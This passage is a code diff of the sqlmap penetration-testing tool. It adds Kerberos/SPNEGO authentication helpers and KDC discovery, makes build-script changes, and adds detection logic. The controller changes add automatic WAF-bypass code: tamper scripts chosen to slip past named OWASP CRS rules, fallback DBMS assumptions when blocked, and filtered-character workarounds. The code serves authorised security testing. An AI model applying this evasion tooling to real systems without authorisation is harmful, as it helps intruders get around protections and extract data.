+    return 0x40 | 0x20 | number                            # application, constructed
+
+def tagged(number, innerTLV):
+    """EXPLICIT [n] wrapper around an already-encoded inner TLV."""
+
+    return _tlv(contextTag(number), innerTLV)
+
+def application(number, innerTLV):
+    """[APPLICATION n] wrapper around an already-encoded inner TLV."""
+
+    return _tlv(applicationTag(number), innerTLV)
+
+# ---- primitive encoders ---------------------------------------------------------------------------
+def integer(value):
+    content = bytearray()
+    if value == 0:
+        content = bytearray([0])
+    elif value > 0:
+        n = value
+        while n:
+            content.insert(0, n & 0xff)
+            n >>= 8
+        if content[0] & 0x80:                              # keep the sign bit clear for a positive value
+            content.insert(0, 0x00)
+    else:
+        n = value
+        while True:
+            content.insert(0, n & 0xff)
+            n >>= 8
+            if n == -1 and (content[0] & 0x80):
+                break
+    return _tlv(INTEGER, content)
+
+def octetString(value):
+    return _tlv(OCTET_STRING, value)
+
+def generalString(value):
+    return _tlv(GENERAL_STRING, value if isinstance(value, bytes) else value.encode("utf-8"))
+
+def generalizedTime(value):
+    """'value' is a 'YYYYMMDDHHMMSSZ' UTC string."""
+
+    return _tlv(GENERALIZED_TIME, value if isinstance(value, bytes) else value.encode("ascii"))
+
+def bitString(value, unusedBits=0):
+    return _tlv(BIT_STRING, bytearray([unusedBits]) + bytearray(value))
+
+def sequence(*elements):
+    return _tlv(SEQUENCE, b"".join(bytes(_) for _ in elements))
+
+def sequenceOf(elements):
+    return _tlv(SEQUENCE, b"".join(bytes(_) for _ in elements))
+
+# ---- decoding -------------------------------------------------------------------------------------
+def peel(data, offset=0):
+    """Parse one TLV at 'offset'; return (tag, content_bytearray, next_offset). Raises ValueError on
+    truncated or indefinite-length input (the data may come from the network, so fail predictably)."""
+
+    data = bytearray(data)
+    if offset + 2 > len(data):
+        raise ValueError("truncated DER header")
+    tag = data[offset]
+    first = data[offset + 1]
+    offset += 2
+    if first < 0x80:
+        length = first
+    elif first == 0x80:
+        raise ValueError("indefinite-length DER is not permitted")
+    else:
+        count = first & 0x7f
+        if offset + count > len(data):
+            raise ValueError("truncated DER length")
+        length = 0
+        for _ in range(count):
+            length = (length << 8) | data[offset]
+            offset += 1
+    if offset + length > len(data):
+        raise ValueError("truncated DER content")
+    return tag, data[offset:offset + length], offset + length
+
+def children(content):
+    """Iterate the TLVs contained in a constructed value; yields (tag, content_bytearray)."""
+
+    content = bytearray(content)
+    offset = 0
+    out = []
+    while offset < len(content):
+        tag, inner, offset = peel(content, offset)
+        out.append((tag, inner))
+    return out
+
+def decodeInteger(content):
+    content = bytearray(content)
+    if not content:
+        return 0
+    value = 0
+    for b in content:
+        value = (value << 8) | b
+    if content[0] & 0x80:                                  # negative (two's complement)
+        value -= 1 << (8 * len(content))
+    return value
+
+def decodeGeneralString(content):
+    return bytes(bytearray(content)).decode("utf-8", "replace")

extra/kerberos/discovery.py

@@ -0,0 +1,200 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+# Dependency-free KDC discovery for a realm, so '--auth-type=Negotiate' works without an explicit
+# KDC address. Resolution order: the 'SQLMAP_KERBEROS_KDC' environment variable, then the local
+# krb5.conf [realms] section, then a DNS SRV lookup (_kerberos._tcp.<realm>), then the realm name
+# itself as a host. Returns (host, port). Python 2.7 / 3.x.
+
+import os
+import re
+import socket
+import struct
+
+DEFAULT_KDC_PORT = 88
+_DNS_TIMEOUT = 3
+_SRV_TYPE = 33
+_IN_CLASS = 1
+
+def _splitHostPort(value, defaultPort=DEFAULT_KDC_PORT):
+    value = value.strip()
+    if value.startswith("["):                              # [IPv6] or [IPv6]:port
+        host, _, rest = value[1:].partition("]")
+        port = rest[1:] if rest.startswith(":") else ""
+    elif value.count(":") == 1:                            # host:port (a single colon rules out bare IPv6)
+        host, _, port = value.partition(":")
+    else:                                                  # bare host or bare IPv6 literal
+        host, port = value, ""
+    return host, (int(port) if port.isdigit() else defaultPort)
+
+# ---- krb5.conf --------------------------------------------------------------------------------
+def _fromKrb5Conf(realm):
+    path = os.environ.get("KRB5_CONFIG") or "/etc/krb5.conf"
+    try:
+        with open(path) as f:
+            content = f.read()
+    except (IOError, OSError):
+        return None
+
+    # scope the search to the [realms] section itself: '[capaths]' uses the identical
+    # 'realm = { ... }' syntax, so a same-named capath block must not shadow the real one
+    section = re.search(r"(?im)^[ \t]*\[realms\][ \t]*$", content)
+    if not section:
+        return None
+    nextSection = re.search(r"(?m)^[ \t]*\[", content[section.end():])
+    sectionEnd = section.end() + nextSection.start() if nextSection else len(content)
+    realms = content[section.end():sectionEnd]
+
+    header = re.search(r"(?im)^\s*%s\s*=\s*\{" % re.escape(realm), realms)
+    if not header:
+        return None
+    start = header.end()                                   # brace-match so a nested '{ }' block cannot truncate us
+    depth, i = 1, start
+    while i < len(realms) and depth > 0:
+        if realms[i] == "{":
+            depth += 1
+        elif realms[i] == "}":
+            depth -= 1
+        i += 1
+    block = realms[start:i - 1]
+    kdc = re.search(r"(?im)^\s*kdc\s*=\s*(\S+)", block)
+    return kdc.group(1) if kdc else None
+
+# ---- DNS SRV (_kerberos._tcp.<realm>) ---------------------------------------------------------
+def _nameservers():
+    servers = []
+    try:
+        with open("/etc/resolv.conf") as f:
+            for line in f:
+                parts = line.split()
+                if len(parts) >= 2 and parts[0] == "nameserver":
+                    servers.append(parts[1])
+    except (IOError, OSError):
+        pass
+    return servers
+
+def _encodeName(name):
+    out = bytearray()
+    for label in name.split("."):
+        out.append(len(label))
+        out += label.encode("ascii")
+    out.append(0)
+    return bytes(out)
+
+_MAX_NAME_JUMPS = 64                                       # guards against compression-pointer cycles
+
+def _skipName(data, offset):
+    while True:
+        if offset >= len(data):
+            raise ValueError("truncated DNS name")
+        length = data[offset]
+        if length == 0:
+            return offset + 1
+        if length & 0xc0 == 0xc0:                          # compression pointer ends the name
+            if offset + 2 > len(data):
+                raise ValueError("truncated DNS pointer")
+            return offset + 2
+        offset += 1 + length
+
+def _readName(data, offset):
+    labels = []
+    end = None
+    jumps = 0
+    while True:
+        if offset >= len(data):
+            raise ValueError("truncated DNS name")
+        length = data[offset]
+        if length == 0:
+            offset += 1
+            break
+        if length & 0xc0 == 0xc0:                          # follow compression pointer (bounded, cycle-safe)
+            if offset + 2 > len(data):
+                raise ValueError("truncated DNS pointer")
+            jumps += 1
+            if jumps > _MAX_NAME_JUMPS:
+                raise ValueError("too many DNS compression jumps")
+            if end is None:
+                end = offset + 2
+            offset = ((length & 0x3f) << 8) | data[offset + 1]
+            continue
+        if offset + 1 + length > len(data):
+            raise ValueError("truncated DNS label")
+        labels.append(bytes(data[offset + 1:offset + 1 + length]).decode("ascii", "replace"))
+        offset += 1 + length
+    return ".".join(labels), (end if end is not None else offset)
+
+def parseSrv(response):
+    """Parse SRV records from a (possibly hostile) DNS response into [(priority, weight, port,
+    target), ...]. Malformed input yields an empty list rather than raising."""
+
+    data = bytearray(response)
+    if len(data) < 12:
+        return []
+    try:
+        qdcount, ancount = struct.unpack(">HH", bytes(data[4:8]))
+        offset = 12
+        for _ in range(qdcount):
+            offset = _skipName(data, offset) + 4           # + qtype/qclass
+        records = []
+        for _ in range(ancount):
+            offset = _skipName(data, offset)
+            if offset + 10 > len(data):
+                break
+            rtype, rclass, _ttl, rdlength = struct.unpack(">HHIH", bytes(data[offset:offset + 10]))
+            offset += 10
+            if offset + rdlength > len(data):
+                break
+            if rtype == _SRV_TYPE and rclass == _IN_CLASS and rdlength >= 6:
+                priority, weight, port = struct.unpack(">HHH", bytes(data[offset:offset + 6]))
+                target = _readName(data, offset + 6)[0].rstrip(".")
+                if target:
+                    records.append((priority, weight, port, target))
+            offset += rdlength
+        return records
+    except (ValueError, struct.error, IndexError):
+        return []
+
+def _fromDnsSrv(realm):
+    queryId = os.urandom(2)
+    query = (queryId + struct.pack(">HHHHH", 0x0100, 1, 0, 0, 0) +
+             _encodeName("_kerberos._tcp.%s" % realm) + struct.pack(">HH", _SRV_TYPE, _IN_CLASS))
+    for server in _nameservers():
+        family = socket.AF_INET6 if ":" in server else socket.AF_INET
+        sock = socket.socket(family, socket.SOCK_DGRAM)
+        sock.settimeout(_DNS_TIMEOUT)
+        try:
+            sock.connect((server, 53))                     # connect() so the kernel drops replies from any other source
+            sock.send(query)
+            response = sock.recv(4096)
+        except socket.error:
+            continue
+        finally:
+            sock.close()
+        if len(response) < 2 or response[:2] != queryId:   # ignore stray / spoofed replies
+            continue
+        records = parseSrv(response)
+        if records:
+            best = min(records, key=lambda r: (r[0], -r[1]))   # lowest priority, then highest weight
+            return best[3], best[2]
+    return None
+
+def discoverKdc(realm):
+    """Resolve (host, port) of a KDC for the realm; falls back to the realm name itself as a host."""
+
+    override = os.environ.get("SQLMAP_KERBEROS_KDC")
+    if override:
+        return _splitHostPort(override)
+
+    configured = _fromKrb5Conf(realm)
+    if configured:
+        return _splitHostPort(configured)
+
+    fromDns = _fromDnsSrv(realm)
+    if fromDns:
+        return fromDns
+
+    return realm.lower(), DEFAULT_KDC_PORT

extra/kerberos/spnego.py

@@ -0,0 +1,33 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+# Minimal GSS-API / SPNEGO (RFC 2743, RFC 4178) wrapping of a Kerberos AP-REQ into the token carried
+# by the HTTP "Authorization: Negotiate <base64>" header. Only the initiator's NegTokenInit is built
+# (the one-shot token an HTTP client sends); the mechanism-specific OIDs are fixed constants.
+# Python 2.7 / 3.x.
+
+from extra.kerberos import der
+
+# fully-encoded OBJECT IDENTIFIER TLVs
+KRB5_OID = bytes(bytearray([0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x12, 0x01, 0x02, 0x02]))  # 1.2.840.113554.1.2.2
+SPNEGO_OID = bytes(bytearray([0x06, 0x06, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x02]))                  # 1.3.6.1.5.5.2
+
+TOK_ID_AP_REQ = b"\x01\x00"                                # GSS Kerberos token id for KRB_AP_REQ
+
+def gssApReq(apReq):
+    """GSS InitialContextToken: [APPLICATION 0] { Kerberos OID, tok-id, AP-REQ }."""
+
+    return der.application(0, KRB5_OID + TOK_ID_AP_REQ + apReq)
+
+def negTokenInit(apReq):
+    """SPNEGO NegTokenInit wrapping the Kerberos GSS token (Kerberos advertised as the sole mech)."""
+
+    inner = der.sequence(
+        der.tagged(0, der.sequenceOf([KRB5_OID])),         # mechTypes
+        der.tagged(2, der.octetString(gssApReq(apReq))),   # mechToken
+    )
+    return der.application(0, SPNEGO_OID + der.tagged(0, inner))

extra/shutils/precommit-hook.sh

@@ -12,13 +12,11 @@ chmod +x .git/hooks/pre-commit
 
 PROJECT="../../"
 SETTINGS="../../lib/core/settings.py"
-DIGEST="../../data/txt/sha256sums.txt"
 
 declare -x SCRIPTPATH="${0}"
 
 PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT
 SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
-DIGEST_FULLPATH=${SCRIPTPATH%/*}/$DIGEST
 
 git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0
 
@@ -37,6 +35,3 @@ then
     fi
     git add "$SETTINGS_FULLPATH"
 fi
-
-cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -Pv '^\.|sha256' | xargs sha256sum > $DIGEST_FULLPATH && cd -
-git add "$DIGEST_FULLPATH"

extra/shutils/pypi.sh

@@ -63,6 +63,10 @@ setup(
     },
 )
 EOF
+cat > "$TMP_DIR/setup.cfg" << "EOF"
+[bdist_wheel]
+universal = 1
+EOF
 wget "https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip" -O sqlmap.zip
 unzip sqlmap.zip
 rm sqlmap.zip

lib/controller/action.py

@@ -8,11 +8,14 @@ See the file 'LICENSE' for copying permission
 from lib.controller.handler import setHandler
 from lib.core.common import Backend
 from lib.core.common import Format
+from lib.core.common import hashDBWrite
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import paths
 from lib.core.enums import CONTENT_TYPE
+from lib.core.enums import DBMS
+from lib.core.enums import HASHDB_KEYS
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapUnsupportedDBMSException
 from lib.core.settings import SUPPORTED_DBMS
@@ -28,11 +31,61 @@ def action():
     if possible
     """
 
+    # HTTP/2 timeless timing ('--timeless'): detection is done and the back-end DBMS is known, so engage
+    # the oracle for this target's extraction (swaps the time-based vector for a tuned heavy one, so all
+    # subsequent extraction reads bits by response order instead of delay). Guarded + calibrated - a no-op
+    # unless '--timeless' is set and the target is usable; disengage() first clears any prior target's.
+    from lib.request import timeless
+    timeless.disengage()
+    if not timeless.autoEngage():          # engages if '--timeless' was given and the target is usable
+        timeless.hintTimeless()            # otherwise nudge the user toward '--timeless' if the target fits
+
     # First of all we have to identify the back-end database management
     # system to be able to go ahead with the injection
     setHandler()
 
-    if not Backend.getDbms() or not conf.dbmsHandler:
+    # automatic WAF-bypass: fingerprinting probes are kept off the WAF/IPS blacklists, so it is tried
+    # first even behind a protection. Only if it comes back empty the back-end DBMS is assumed from
+    # the error page or the heuristic checks, so that the user still gets a usable result
+    if kb.wafBypass and not conf.forceDbms and not Backend.getIdentifiedDbms():
+        fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else [])
+        fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None)
+        if fallback:
+            logger.warning("active back-end DBMS fingerprinting did not get through the WAF/IPS. Assuming '%s' from error/heuristic detection" % fallback)
+            conf.forceDbms = fallback
+
+            setHandler()
+
+    # multi-bit blind ('--multi-bit'): the back-end is known now, so its bit arithmetic can be checked
+    # before nudging the user towards a channel that reads several characters per request (no requests)
+    from lib.techniques.blind import multibit
+    multibit.hint()
+
+    if kb.wafBypass and Backend.getDbms():      # persist the assumed DBMS so a resumed run restores it instead of re-fingerprinting (and dead-ending) behind the WAF
+        hashDBWrite(HASHDB_KEYS.DBMS, Backend.getDbms())
+
+    # automatic WAF-bypass: with MySQL behind the WAF, make data retrieval AND table enumeration survive a
+    # libinjection-class WAF (e.g. OWASP CRS), verified end-to-end through ModSecurity/CRS:
+    #   * flag has_information_schema (modern MySQL >=5.0 always has it) in case the DBMS was assumed
+    #     rather than fingerprinted, otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails
+    #     with "no tables",
+    #   * 'blindbinary' reshapes the single-character read ORD(MID())->RIGHT(LEFT())>BINARY 0x.. (sheds the
+    #     ORD/MID function names scored by 942151/942190);
+    #   * 'infoschema2innodb' moves table enumeration off 'information_schema' (scored by 942140) onto
+    #     'mysql.innodb_table_stats', which is not on those blocklists.
+    # (blindbinary also reshapes PostgreSQL, but full extraction through the CRS proxy garbles there - an
+    #  open issue - so PG is not auto-applied; it stays available as manual '--tamper=blindbinary'.)
+    if kb.wafBypass and Backend.getIdentifiedDbms() == DBMS.MYSQL:
+        kb.data.has_information_schema = True
+        if not conf.tamper:
+            from lib.utils.wafbypass import loadTamper
+            for _name in ("blindbinary", "infoschema2innodb"):
+                function = loadTamper(_name)
+                if function is not None and function not in (kb.tamperFunctions or []):
+                    kb.tamperFunctions = (kb.tamperFunctions or []) + [function]
+            logger.info("using tamper scripts 'blindbinary' and 'infoschema2innodb' so data retrieval and table enumeration can pass the WAF/IPS")
+
+    if (not Backend.getDbms() and not conf.esperanto) or not conf.dbmsHandler:
         htmlParsed = Format.getErrorParsedDBMSes()
 
         errMsg = "sqlmap was not able to fingerprint the "
@@ -78,6 +131,9 @@ def action():
     if conf.getStatements:
         conf.dumper.statements(conf.dbmsHandler.getStatements())
 
+    if conf.getProcs:
+        conf.dumper.procedures(conf.dbmsHandler.getProcedures())
+
     if conf.getPasswordHashes:
         try:
             conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)

lib/controller/checks.py

@@ -15,7 +15,9 @@ import time
 from extra.beep.beep import beep
 from lib.core.agent import agent
 from lib.core.common import Backend
+from lib.core.common import arrayizeValue
 from lib.core.common import extractRegexResult
+from lib.core.common import extractStructuralTokens
 from lib.core.common import extractTextTagContent
 from lib.core.common import filterNone
 from lib.core.common import findDynamicContent
@@ -56,6 +58,7 @@ from lib.core.dicts import HEURISTIC_NULL_EVAL
 from lib.core.enums import DBMS
 from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HEURISTIC_TEST
+from lib.core.enums import POST_HINT
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
 from lib.core.enums import NOTE
@@ -79,14 +82,27 @@ from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
 from lib.core.settings import FI_ERROR_REGEX
 from lib.core.settings import FORMAT_EXCEPTION_STRINGS
+from lib.core.settings import GRAPHQL_ERROR_REGEX
 from lib.core.settings import HEURISTIC_CHECK_ALPHABET
+from lib.core.settings import HQL_ERROR_REGEX
 from lib.core.settings import INFERENCE_EQUALS_CHAR
+from lib.core.settings import LDAP_ERROR_REGEX
+from lib.core.settings import ODATA_ERROR_REGEX
+from lib.core.settings import SPARQL_ERROR_REGEX
+from lib.core.settings import SSTI_ERROR_REGEX
+from lib.core.settings import XPATH_ERROR_REGEX
+from lib.core.settings import XSLT_ERROR_REGEX
+from lib.core.settings import XXE_ERROR_REGEX
 from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
 from lib.core.settings import IPS_WAF_CHECK_RATIO
 from lib.core.settings import IPS_WAF_CHECK_TIMEOUT
 from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
 from lib.core.settings import MAX_STABILITY_DELAY
 from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
+from lib.core.settings import NOSQL_ERROR_REGEX
+from lib.core.settings import NULL_CONNECTION_LENGTH_TOLERANCE_HIGH
+from lib.core.settings import NULL_CONNECTION_LENGTH_TOLERANCE_LOW
+from lib.core.settings import NULL_CONNECTION_SKIP_READ_MIN_LENGTH
 from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS
 from lib.core.settings import SINGLE_QUOTE_MARKER
 from lib.core.settings import SLEEP_TIME_MARKER
@@ -94,12 +110,14 @@ from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
 from lib.core.settings import SUPPORTED_DBMS
 from lib.core.settings import UPPER_RATIO_BOUND
 from lib.core.settings import URI_HTTP_HEADER
+from lib.core.settings import WAF_BLOCK_HTTP_CODES
 from lib.core.threads import getCurrentThreadData
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
 from lib.request.comparison import comparison
 from lib.request.inject import checkBooleanExpression
 from lib.request.templates import getPageTemplate
+from lib.utils.dialect import dialectCheckDbms
 from lib.techniques.union.test import unionTest
 from lib.techniques.union.use import configUnion
 from thirdparty import six
@@ -149,6 +167,15 @@ def checkSqlInjection(place, parameter, value):
                     if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests:
                         kb.heuristicDbms = heuristicCheckDbms(injection)
 
+                    # keyword-free fallback: heuristicCheckDbms() above uses SELECT/quote payloads
+                    # and is skipped when the WAF/IPS is dropping requests; the operator-dialect
+                    # probes carry no SELECT/quote/schema name, so they can still narrow the DBMS in
+                    # that case (or when it was inconclusive), using the now-calibrated boolean oracle.
+                    # It feeds the lower-confidence heuristicExtendedDbms (UNION FROM / handler hint),
+                    # deliberately NOT heuristicDbms, so it never drives reduceTests (skipping payloads)
+                    if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and kb.heuristicExtendedDbms is None:
+                        kb.heuristicExtendedDbms = dialectCheckDbms(injection)
+
                 # If the DBMS has already been fingerprinted (via DBMS-specific
                 # error message, simple heuristic check or via DBMS-specific
                 # payload), ask the user to limit the tests to the fingerprinted
@@ -157,7 +184,11 @@ def checkSqlInjection(place, parameter, value):
                 if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                     msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                     msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
-                    kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
+                    # mirror msg's fallback chain (error-parsed -> heuristic -> injection.dbms) - falling
+                    # back only through the first two (as before) left kb.reduceTests as [None] whenever
+                    # injection.dbms alone satisfied the 'if' above, silently skipping every DBMS-specific
+                    # test payload for the rest of the scan
+                    kb.reduceTests = (Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else arrayizeValue(injection.dbms))) if readInput(msg, default='Y', boolean=True) else []
 
             # If the DBMS has been fingerprinted (via DBMS-specific error
             # message, via simple heuristic check or via DBMS-specific
@@ -186,6 +217,10 @@ def checkSqlInjection(place, parameter, value):
                 })
 
             if stype == PAYLOAD.TECHNIQUE.UNION:
+                if "char" not in test.request:
+                    logger.debug("skipping malformed UNION test '%s' because its request has no character" % title)
+                    continue
+
                 configUnion(test.request.char)
 
                 if "[CHAR]" in title:
@@ -502,6 +537,7 @@ def checkSqlInjection(place, parameter, value):
 
                             # Useful to set kb.matchRatio at first based on False response content
                             kb.matchRatio = None
+                            kb.trueLength = None
                             kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
                             suggestion = None
                             Request.queryPage(genCmpPayload(), place, raise404=False)
@@ -509,7 +545,7 @@ def checkSqlInjection(place, parameter, value):
                             falseRawResponse = "%s%s" % (falseHeaders, falsePage)
 
                             # Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
-                            if not any((kb.negativeLogic, conf.string, conf.notString, conf.code)):
+                            if not any((kb.negativeLogic, conf.string, conf.notString, conf.code, conf.lengths)):
                                 try:
                                     ratio = 1.0
                                     seqMatcher = getCurrentThreadData().seqMatcher
@@ -529,6 +565,11 @@ def checkSqlInjection(place, parameter, value):
                             truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
                             trueRawResponse = "%s%s" % (trueHeaders, truePage)
 
+                            if conf.lengths:
+                                # under NULL connection the body is absent, so take the length HEAD/Range reported
+                                kb.trueLength = threadData.lastComparisonPageLength if kb.nullConnection else len(truePage)
+                                trueResult = True
+
                             if trueResult and not (truePage == falsePage and not any((kb.nullConnection, conf.code))):
                                 # Perform the test's False request
                                 falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
@@ -542,7 +583,7 @@ def checkSqlInjection(place, parameter, value):
                                         errorResult = Request.queryPage(errorPayload, place, raise404=False)
                                         if errorResult:
                                             continue
-                                    elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
+                                    elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.lengths, kb.nullConnection)):
                                         _ = comparison(kb.heuristicPage, None, getRatioValue=True)
                                         if (_ or 0) > (kb.matchRatio or 0):
                                             kb.matchRatio = _
@@ -554,7 +595,7 @@ def checkSqlInjection(place, parameter, value):
 
                                     injectable = True
 
-                                elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)):
+                                elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.lengths, conf.titles, kb.nullConnection)):
                                     originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n"))
                                     trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n"))
                                     falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n"))
@@ -580,7 +621,19 @@ def checkSqlInjection(place, parameter, value):
                                                     break
 
                             if injectable:
-                                if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)):
+                                # WAF/IPS block-artifact guard: a TRUE condition (the always-true payload that
+                                # mimics a legitimate request) coming back with a blocked HTTP status (e.g. 403)
+                                # while the FALSE condition passes (2xx) is the WAF answering, not the database.
+                                # A real boolean injection's TRUE condition reproduces the normal page, so this
+                                # status-code asymmetry is the classic false positive - refuse it here.
+                                if not kb.negativeLogic and trueCode in WAF_BLOCK_HTTP_CODES and (falseCode or 0) < 400 and (kb.heuristicCode or 200) < 400:
+                                    warnMsg = "%sparameter '%s' TRUE/FALSE responses differ only by a blocked HTTP %d vs %d status, " % ("%s " % paramType if paramType != parameter else "", parameter, trueCode, falseCode)
+                                    warnMsg += "which is characteristic of a WAF/IPS block rather than a SQL injection; skipping as a likely false positive"
+                                    logger.warning(warnMsg)
+                                    injectable = False
+                                    continue
+
+                                if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.lengths, conf.titles, kb.nullConnection)):
                                     if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode:
                                         suggestion = conf.code = trueCode
 
@@ -692,7 +745,8 @@ def checkSqlInjection(place, parameter, value):
                             if len(kb.dbmsFilter or []) == 1:
                                 Backend.forceDbms(kb.dbmsFilter[0])
                             elif not Backend.getIdentifiedDbms():
-                                if kb.heuristicDbms is None:
+                                heuristicDbms = kb.heuristicDbms or kb.heuristicExtendedDbms
+                                if heuristicDbms is None:
                                     if kb.heuristicTest == HEURISTIC_TEST.POSITIVE or injection.data:
                                         warnMsg = "using unescaped version of the test "
                                         warnMsg += "because of zero knowledge of the "
@@ -700,7 +754,7 @@ def checkSqlInjection(place, parameter, value):
                                         warnMsg += "explicitly set it with option '--dbms'"
                                         singleTimeWarnMessage(warnMsg)
                                 else:
-                                    Backend.forceDbms(kb.heuristicDbms)
+                                    Backend.forceDbms(heuristicDbms)
 
                             if unionExtended:
                                 infoMsg = "automatically extending ranges for UNION "
@@ -772,12 +826,20 @@ def checkSqlInjection(place, parameter, value):
                         injection.data[stype].comment = comment
                         injection.data[stype].templatePayload = templatePayload
                         injection.data[stype].matchRatio = kb.matchRatio
+                        injection.data[stype].trueLength = kb.trueLength
                         injection.data[stype].trueCode = trueCode
                         injection.data[stype].falseCode = falseCode
 
+                        # reference bodies for inference.py's "resembles neither TRUE nor FALSE model"
+                        # anomaly guard (runtime-only; lets a transient same-HTTP-code junk response
+                        # trigger a validateChar re-check during boolean extraction)
+                        if method == PAYLOAD.METHOD.COMPARISON:
+                            kb.trueTemplate, kb.falseTemplate = truePage, falsePage
+
                         injection.conf.textOnly = conf.textOnly
                         injection.conf.titles = conf.titles
                         injection.conf.code = conf.code
+                        injection.conf.lengths = conf.lengths
                         injection.conf.string = conf.string
                         injection.conf.notString = conf.notString
                         injection.conf.regexp = conf.regexp
@@ -868,7 +930,9 @@ def heuristicCheckDbms(injection):
     may be
     """
 
-    retVal = False
+    # None (not False) on failure - every caller gates re-running this on 'kb.heuristicDbms is
+    # None', and a stale False from an earlier parameter's failed check would wrongly block that
+    retVal = None
 
     if conf.skipHeuristics:
         return retVal
@@ -1018,6 +1082,36 @@ def checkFilteredChars(injection):
     # inference techniques depend on character '>'
     if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)):
         if not checkBooleanExpression("%d>%d" % (randInt + 1, randInt)):
+            # '>' is filtered - blind inference (bisection and the count/length integer retrievals
+            # all rely on '>') would silently retrieve nothing. Cascade through the '>'-free
+            # comparison rewrites and adopt the first that RE-VERIFIES working, so the run adapts in
+            # place instead of forcing a manual rerun: 'between' (>  ->  NOT BETWEEN 0 AND) first,
+            # then 'greatest' (GREATEST()-based) for when BETWEEN itself is filtered. Skipped when the
+            # user chose their own '--tamper' (respect that choice).
+            adapted = None
+
+            if not conf.tamper:
+                from lib.utils.wafbypass import loadTamper
+
+                for name in ("between", "greatest", "sign"):
+                    function = loadTamper(name)
+                    if function is None or function in (kb.tamperFunctions or []):
+                        continue
+
+                    kb.tamperFunctions = (kb.tamperFunctions or []) + [function]
+                    _ = randomInt()
+
+                    if checkBooleanExpression("%d>%d" % (_ + 1, _)):
+                        adapted = name
+                        break
+                    else:
+                        kb.tamperFunctions.remove(function)
+
+            if adapted:
+                infoMsg = "the character '>' appears to be filtered by the back-end server; "
+                infoMsg += "sqlmap automatically applied the '%s' tamper script to adapt" % adapted
+                logger.info(infoMsg)
+            else:
                 warnMsg = "it appears that the character '>' is "
                 warnMsg += "filtered by the back-end server. You are strongly "
                 warnMsg += "advised to rerun with the '--tamper=between'"
@@ -1088,7 +1182,7 @@ def heuristicCheckSqlInjection(place, parameter):
     if casting:
         errMsg = "possible %s casting detected (e.g. '" % ("integer" if origValue.isdigit() else "type")
 
-        platform = conf.url.split('.')[-1].lower()
+        platform = (extractRegexResult(r"\.(?P<result>\w+)(?:\?|\Z)", conf.url) or conf.url.split('.')[-1]).lower()
         if platform == WEB_PLATFORM.ASP:
             errMsg += "%s=CInt(request.querystring(\"%s\"))" % (parameter, parameter)
         elif platform == WEB_PLATFORM.ASPX:
@@ -1108,13 +1202,13 @@ def heuristicCheckSqlInjection(place, parameter):
             kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True)
 
     elif result:
-        infoMsg += "be injectable"
+        infoMsg += "be SQL injectable"
         if Backend.getErrorParsedDBMSes():
             infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes()
         logger.info(infoMsg)
 
     else:
